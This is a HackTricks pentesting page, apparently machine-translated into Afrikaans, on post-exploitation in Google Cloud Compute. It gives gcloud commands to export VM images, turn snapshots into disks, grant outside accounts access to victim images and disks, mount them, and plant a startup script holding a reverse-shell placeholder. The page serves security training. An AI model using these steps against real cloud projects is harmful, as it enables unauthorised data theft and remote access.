GCP - Compute Post Exploitation

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Berekening

Vir meer inligting oor Berekening en VPC (Netwerke) kyk:

pageGCP - Compute Enum

Voer & Inspekteer Beelde plaaslik uit

Dit sal 'n aanvaller toelaat om toegang te verkry tot die data wat binne reeds bestaande beelde of nuwe beelde van lopende VM's te skep en hul data te benader sonder om toegang tot die lopende VM te hê.

Dit is moontlik om 'n VM-beeld na 'n emmer uit te voer en dit dan af te laai en plaaslik te koppel met die bevel:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Voor die uitvoering van hierdie aksie mag die aanvaller bevoegdhede oor die stoorhouer nodig hê en beslis bevoegdhede oor cloudbuild aangesien dit die diens is wat gevra gaan word om die uitvoer te doen. Verder, vir hierdie aksie om te werk, benodig die codebuild SA en die compute SA bevoorregte regte. Die cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com benodig:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

En die SA <project-id>-compute@developer.gserviceaccount.com benodig:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Uitvoer & Inspekteer Snapskote & Skywe plaaslik

Dit is nie moontlik om snagskote en skywe direk uit te voer nie, maar dit is moontlik om 'n snagskoot in 'n skyf te omskep, 'n skyf in 'n beeld en deur die vorige afdeling te volg, daardie beeld uit te voer om dit plaaslik te inspekteer

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspekteer 'n Afbeelding deur 'n VM te skep

Met die doel om toegang te verkry tot die data wat gestoor is in 'n afbeelding of binne 'n hardloopende VM van waar 'n aanvaller 'n afbeelding geskep het, is dit moontlik om 'n eksterne rekening toegang te gee oor die afbeelding:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

en skep dan 'n nuwe VM daaruit:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Indien jy nie eksterne rekeningtoegang oor die prent kon gee nie, kon jy 'n VM in die slagoffers se projek lanceer en die metadata laat uitvoer om 'n omgekeerde dop te maak om toegang tot die prent te verkry deur die param by te voeg:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspekteer 'n Oorsig/Skyf deur dit aan 'n VM te koppel

Met die doel om toegang te verkry tot die data wat gestoor is in 'n skyf of 'n oorsig, kan jy die oorsig omskep na 'n skyf, 'n skyf na 'n beeld en die vorige stappe volg.

Of jy kan 'n eksterne rekening toegang verleen oor die skyf (as die beginpunt 'n oorsig is, gee toegang oor die oorsig of skep 'n skyf daarvan):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Heg die skyf aan 'n instansie:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Monteer die skyf binne die VM:

  1. SSH in die VM:

gcloud compute ssh [INSTANS_NAAM] --zone [SONE]
  1. Identifiseer die Skyf: Eenmaal binne die VM, identifiseer die nuwe skyf deur die lys van skyf toestelle te gee. Tipies kan jy dit vind as /dev/sdb, /dev/sdc, ens.

  2. Formateer en Monteer die Skyf (as dit 'n nuwe of rou skyf is):

  • Skep 'n monteer punt:

sudo mkdir -p /mnt/disks/[MONT_DIR]
  • Monteer die skyf:

sudo mount -o discard,defaults /dev/[SKYF_TOESTEL] /mnt/disks/[MONT_DIR]

As jy nie toegang kan gee aan 'n eksterne projek tot die afskopie of skyf nie, mag jy dalk hierdie aksies uitvoer binne 'n instansie in dieselfde projek as die afskopie/skyf.

Last updated